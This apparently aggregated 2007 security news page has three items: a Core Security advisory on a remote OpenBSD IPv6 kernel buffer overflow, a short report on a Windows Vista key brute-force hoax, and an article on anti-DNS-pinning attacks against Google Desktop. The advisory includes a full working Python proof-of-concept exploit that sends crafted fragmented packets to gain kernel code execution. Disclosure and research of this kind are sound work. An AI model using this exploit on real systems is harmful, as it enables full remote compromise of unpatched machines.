Remote Exploit Discovered for OpenBSD

"OpenBSD is known for its security policies, and for its boast of "only one remote exploit in over 10 years". Well, make that two, because Core Security has found a remotely exploitable buffer overflow in the OpenBSD kernel. Upgrade your firewalls as soon as possible."

OpenBSD's IPv6 mbufs remote kernel buffer overflow

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Date Published: 2007-03-13

Last Update: 2007-03-13

Advisory ID: CORE-2007-0219

Bugtraq ID: 22901

CVE Name: CVE-2007-1365

Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow

Class: Buffer Overflow

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:
http://www.coresecurity.com/?action=item&id=1703

Vendors contacted:

OpenBSD.org

• 2007-02-20: First notification sent by Core.


• 2007-02-20: Acknowledgement of first notification received from the OpenBSD team.


• 2007-02-21: Core sends draft advisory and proof of concept code that demonstrates remote kernel panic.


• 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD branch of source tree.


• 2007-02-26: OpenBSD team communicates that the issue is specific to OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to bugs that lead to a remote denial of service attack, as opposed to bugs that lead to remote control of vulnerable systems to avoid oversimplifying ("pablumfication") the use of the term.


• 2007-02-26: Core email sent to OpenBSD team explaining that Core considers a remote denial of service a security issue and therefore does use the term "vulnerability" to refer to it and that although remote code execution could not be proved in this specific case, the possibility should not be discarded. Core requests details about the bug and if possible an analysis of why the OpenBSD team may or may not consider the bug exploitable for remote code execution.


• 2007-02-28: OpenBSD team indicates that the bug results in corruption of mbuf chains and that only IPv6 code uses that mbuf code, there is no user data in the mbuf header fields that become corrupted and it would be surprising to be able to run arbitrary code using a bug so deep in the mbuf code. The bug simply leads to corruption of the mbuf chain.


• 2007-03-05: Core develops proof of concept code that demonstrates remote code execution in the kernel context by exploiting the mbuf overflow.


• 2007-03-05: OpenBSD team notified of PoC availability.


• 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree branches and releases a "reliability fix" notice on the project's website.


• 2007-03-08: Core sends final draft advisory to OpenBSD requesting comments and official vendor fix/patch information.




• 2007-03-09: OpenBSD team changes notice on the project's website to "security fix" and indicates that Core's advisory should reflect the requirement of IPv6 connectivity for a successful attack from outside of the local network.


• 2007-03-12: Advisory updates with fix and workaround information and with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" section of the advisory is adjusted to reflect more accurately the nature of the communications with the OpenBSD team regarding this issue.


• 2007-03-12: Workaround recommendations revisited. It is not yet conclusive that the "scrub in inet6" directive will prevent exploitation. It effectively stops the bug from triggering according to Core's tests but OpenBSD's source code inspection does not provide a clear understanding of why that happens. It could just be that the attack traffic is malformed in some other way that is not meaningful for exploiting the vulnerability (an error in the exploit code rather than an effective workaround?). The "scrub" workaround recommendation is removed from the advisory as precaution.


• 2007-03-13: Core releases this advisory.

Release Mode: FORCED RELEASE
Vulnerability Description
The OpenBSD kernel contains a memory corruption vulnerability in the code that handles IPv6 packets. Exploitation of this vulnerability can result in:

1) Remote execution of arbitrary code at the kernel level on the vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented packet.

OpenBSD systems using default installations are vulnerable because the default pre-compiled kernel binary (GENERIC) has IPv6 enabled and OpenBSD's firewall does not filter inbound IPv6 packets in its default configuration.

However, in order to exploit a vulnerable system an attacker needs to be able to inject fragmented IPv6 packets on the target system's local network. This requires direct physical/logical access to the target's local network -in which case the attacking system does not need to have a working IPv6 stack- or the ability to route or tunnel IPv6 packets to the target from a remote network.
Vulnerable Packages

OpenBSD 4.1 prior to Feb. 26th, 2006.
OpenBSD 4.0 Current
OpenBSD 4.0 Stable
OpenBSD 3.9
OpenBSD 3.8
OpenBSD 3.6
OpenBSD 3.1

All other releases that implement the IPv6 protocol stack may be vulnerable.
Solution/Vendor Information/Workaround
The OpenBSD team has released a "security fix" to correct the mbuf problem, it is available as a source code patch for
OpenBSD 4.0 and 3.9 here

The patch can also be applied to previous versions of OpenBSD.
OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their source code tree and kernel binaries for those versions and the upcoming version 4.1 include the fix.

As a work around, users that do not need to process or route IPv6 traffic on their systems can block all inbound IPv6 packets using OpenBSD's firewall. This can be accomplished by adding the following line to /etc/pf.conf:

block in quick inet6 all

After adding the desired rules to pf.conf it is necessary to load them to the running PF using:

pfctl -f /etc/pf.conf

To enable PF use:
pfctl -e -f /etc/pf.conf

To check the status of PF and list all loaded rules use:
pfctl -s rules

Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration and use of OpenBSD's firewall capabilities.
Credits
This vulnerability was found and researched by Alfredo Ortega from Core Security Technologies. The proof-of-concept code included in the advisory was developed by Alfredo Ortega with assistance from Mario Vilas and Gerardo Richarte.
Technical Description - Exploit/Concept Code
The vulnerability is due to improper handling of kernel memory buffers using mbuf structures. The vulnerability is triggered by OpenBSD-specific code at the mbuf layer and developed to accommodate the processing of IPv6 protocol packets.

By sending fragmented ICMPv6 packets an attacker can trigger an overflow of mbuf kernel memory structures resulting either in remote execution of arbitrary code in kernel mode or a kernel panic and subsequent system crash (a remote denial of service). Exploitation is accomplished by either:
1) Gaining control of execution flow by overwriting a function pointer, or;
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to a user-space heap overflow.

The overflowed structure is an mbuf, the structure used to store network packets in kernel memory.

This is the definition (/sys/mbuf.h):

struct mbuf { struct m_hdr m_hdr; union { struct { struct pkthdr MH_pkthdr; /* M_PKTHDR set */ union { struct m_ext MH_ext; /* M_EXT set */ char MH_databuf[MHLEN]; } MH_dat; } MH; char M_databuf[MLEN]; /* !M_PKTHDR, !M_EXT */ } M_dat; };
We can see that the mbuf contains another structure of type m_ext (/sys/mbuf.h):

/* description of external storage mapped into mbuf, valid if M_EXT set */ struct m_ext { caddr_t ext_buf; /* start of buffer */ /* free routine if not the usual */ void (*ext_free)(caddr_t, u_int, void *); void *ext_arg; /* argument for ext_free */ u_int ext_size; /* size of buffer, for ext_free */ int ext_type; struct mbuf *ext_nextref; struct mbuf *ext_prevref; #ifdef DEBUG const char *ext_ofile; const char *ext_nfile; int ext_oline; int ext_nline; #endif };
This second structure contains the variable ext_free, a pointer to a function called when the mbuf is freed. Overwriting a mbuf with a crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can control the flow of execution of the OpenBSD Kernel when the m_freem() function is called on the overflowed packet from any place on the network stack.

Also, since the mbufs are stored on a linked list, another variant of the attack is to overwrite the ext_nextref and ext_prevref pointers to cause a 32 bit write on a controlled area of the kernel memory, like a user-mode heap overflow exploit.

The following is a simple working proof-of-concept program in Python that demonstrates remote code execution on vulnerable systems.
It is necessary to set the target's system Ethernet address in the program to use it.

The PoC executes the shellcode (int 3) and returns. It overwrites the ext_free() function pointer on the mbuf and forces a m_freem() on the overflowed packet.

The Impacket library is used to craft and send packets (http://oss.coresecurity.com/projects/impacket.html or download from Debian repositories)

Currently, only systems supporting raw sockets and the PF_PACKET family can run the included proof-of-concept code.

Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30"

To use the code to test a custom machine you will need to:
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code. To find a proper trampoline value use the following command:
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

The exploit should stop on an int 3 and pressing "c" in ddb the kernel will continue normally.

--------------------icmp.py--------------------- # # Description: # OpenBSD ICMPv6 fragment remote execution PoC # # Author: # Alfredo Ortega # Mario Vilas # # Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc. # All rights reserved from impacket import ImpactPacket import struct import socket import time class BSD_ICMPv6_Remote_BO: MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f) def Run(self): self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) self.s.bind(('eth0',0x86dd)) sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' # source address destIP = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' # destination address Multicast Link-level firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP) validIcmp = self.buildValidICMPPacket(sourceIP,destIP) for i in range(100): # fill mbufs self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.01) for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable self.sendpacket(secondFragment) time.sleep(0.1) self.sendpacket(firstFragment) self.sendpacket(validIcmp) time.sleep(0.1) def sendpacket(self, data): ipe = ImpactPacket.Ethernet() ipe.set_ether_dhost(self.MACADDRESS) ipd = ImpactPacket.Data(data) ipd.ethertype = 0x86dd # Ethertype for IPv6 ipe.contains(ipd) p = ipe.get_packet() self.s.send(p) def buildOpenBSDPackets(self,sourceIP,destIP): HopByHopLenght= 1 IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (00: Hop by Hop) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x01) # offset + More fragments: yes IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id IPv6HopByHopHeader = '' IPv6HopByHopHeader += struct.pack('!B', 0x2c) # next header (0x3A: ICMP) IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght ) # Hdr Ext Len (frutaaaaaaa :D ) IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2) # Options longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader) print longitud IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x00' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150) self.ShellCode = '' self.ShellCode += '\xcc' # int 3 self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xfb\x4e' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += ('\x90'*(212-len(self.ShellCode)))+self.ShellCode # Start of the next mfub (we land here): ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB' # mbuf+0x20: trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp") ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG' longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x2c' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP IPv6FragmentationHeader = '' IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (3A: icmpV6) IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset + More fragments:no IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet return firstFragment, secondFragment def buildValidICMPPacket(self,sourceIP,destIP): ICMPv6Packet = '' ICMPv6Packet += '\x80' # type (128 == Icmp echo request) ICMPv6Packet += '\x00' # code ICMPv6Packet += '\xcb\xc4' # checksum ICMPv6Packet += '\x33\xf6' # ID ICMPv6Packet += '\x00\x00' # sequence ICMPv6Packet += 'T'*1232 longitud = len(ICMPv6Packet) IPv6Packet = '' IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label IPv6Packet += struct.pack( '>H', longitud ) # payload length IPv6Packet += '\x3A' # next header (2c: Fragmentation) IPv6Packet += '\x40' # hop limit IPv6Packet += sourceIP IPv6Packet += destIP icmpPacket = IPv6Packet+ICMPv6Packet return icmpPacket attack = BSD_ICMPv6_Remote_BO() attack.Run() --------------------icmp.py---------------------
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/


About Core Security Technologies
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company’s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks.

Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training.

Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

Windows Vista Brute-Force Attack Alive and Kicking

Enlarge picture

The Windows Vista brute-force crack is alive and still kicking. While the original Windows Vista Brute Force KeyGen has proved to be nothing more than a hoax, with its author coming up

in the open and not only apologizing for creating the crack but also revealing that it was not functional, the key generator workaround for Vista is not yet history. Not even by far.

In fact, the Windows Vista brute-force crack has survived and even got updated. However, it appears that the Vista Brute-Force Method GUI 0.1 + SourceCode has a new father that identifies himself as “stof91.”

“I strongly suggest that you use SoftMod, if you are looking to illegally activate Windows Vista.
(Which doesn't mean that I'm not against it). I stopped development, and will only continue if everyone stops complaining and if it's needed, I had a look at SoftMod.. and it seems that it's the way to go... The application will stay online, until it is removed... after that, you can pm me if you want it,” stof91 revealed.

However, he does offer not only the Windows Vista brute-force crack with a streamlined interface but also the proof-of-concept for the workaround. The brute-force attack is designed in such a manner that it will randomly search for legitimate product keys for the operating system. The actual functionality is similar to the first version released by ComputerUser. This version brings nothing new to the table in comparison to the original release, and as such it is just as much of a hoax, although the author did provide a screenshot designed to prove that the brute force attack actually works.

A Second Google Desktop Vulnerability

"According to InfoWorld, Google's Desktop indexing engine is vulnerable to an exploit (the second such flaw to be found) that could allow crackers to read files or execute code. By exploiting a cross-site scripting vulnerability on google.com, an attacker can grab all the data off a Google Desktop. Google is said to be investigating. A security researcher is quoted: 'The users really have very little ability to protect themselves against these attacks. It's very bad. Even the experts are afraid to click on each other's links anymore.'"

Vulnerability to a little-known Web-based attack could allow an attacker to have access to any data indexed by Google Desktop

Google's PC search software is vulnerable to a variation on a little-known Web-based attack called anti-DNS pinning that could give an attacker access to any data indexed by Google Desktop, security researchers said this week.

Free IT resource

• Virtualization Insights from Top Experts - Learn how virtualization gets real!


• Sponsored by Dell

Free IT resource

• TechNet: More ways to know it, share it, and keep it running.


• Sponsored by Microsoft

Related Stories

• Google Apps aims beyond Microsoft Office


• Mozilla fixes Firefox bugs


• Google patches serious Desktop flaw


• Popular Tags
  google, googledesktop, security

This is the second security problem reported this week for the software. On Wednesday, researchers at Watchfire said they'd found a flaw that could allow attackers to read files or run unauthorized software on systems running Google Desktop.

As with Watchfire's bug, attackers would first need to exploit a cross-site scripting flaw in the Google.com Web site for this latest attack to work, but the consequences could be serious, according to Robert Hansen, the independent security researcher who first reported the attack. "All of the data on a Google desktop can now be siphoned off to an attacker's machine," he said.

Cross-site scripting flaws are common Web server vulnerabilities that can be exploited to run unauthorized code within the victim's browser.

Hansen, who is CEO of Sectheory.com, did not post proof of concept code for his attack, but he said that he has "tested every component of it, and it works." He has posted some details of how Google Desktop data could be compromised on his blog.

Google said it was investigating Hansen's findings. "In addition, we recently added another layer of security checks to the latest version of Google Desktop to protect users from vulnerabilities related to Web search integration in the future," the company said in a prepared statement.

Anti-DNS pinning is an emerging area of security research, understood by just a handful of researchers, said Jeremiah Grossman, CTO at WhiteHat Security. The variation of this attack described by Hansen manipulates the way the browser works with the Internet's DNS in order to trick the browser into sending information to an attacker's computer.

"Once you can re-point Google to another IP address, instead of Google getting the traffic, the bad guy does," he said.

Because this type of attack is so difficult to pull off and is poorly understood, it is unlikely to be used by the criminals any time soon, Grossman said. But anti-DNS pinning shouldn't be ignored, he added. "We should keep our eyes on it in case the bad guys shift gears."

News of the attack comes as Google is trying to enter the desktop productivity market. On Thursday, Google launched a suite of Web-based collaboration software, called the Google Apps Premier Edition, that analysts say could become a competitor to Microsoft Office.

The troubling thing about the attack Hanson identified, which he calls anti-anti-anti-DNS pinning, is that there is very little that can be done to avoid it short of eliminating cross-site scripting vulnerabilities on the Web.

"This is really just fundamentally about how browsers work," he said. "If you allow a Web site to have access to your drive -- to modify, to change things, to integrate, or whatever -- you're relying on that Web site to be secure."

Hansen and Grossman say that Google is not the only company vulnerable to a growing category of Web-based attacks. For instance, MySpace.com was hit when a fast-moving worm spread through the MySpace community in early December, stealing MySpace log-in credentials and promoting adware Web sites.

"A lot of these new attack techniques are going to require the browsers to improve," Grossman said. "The users really have very little ability to protect themselves against these attacks" he said. "It's very bad. Even the experts are afraid to click on each other's links anymore."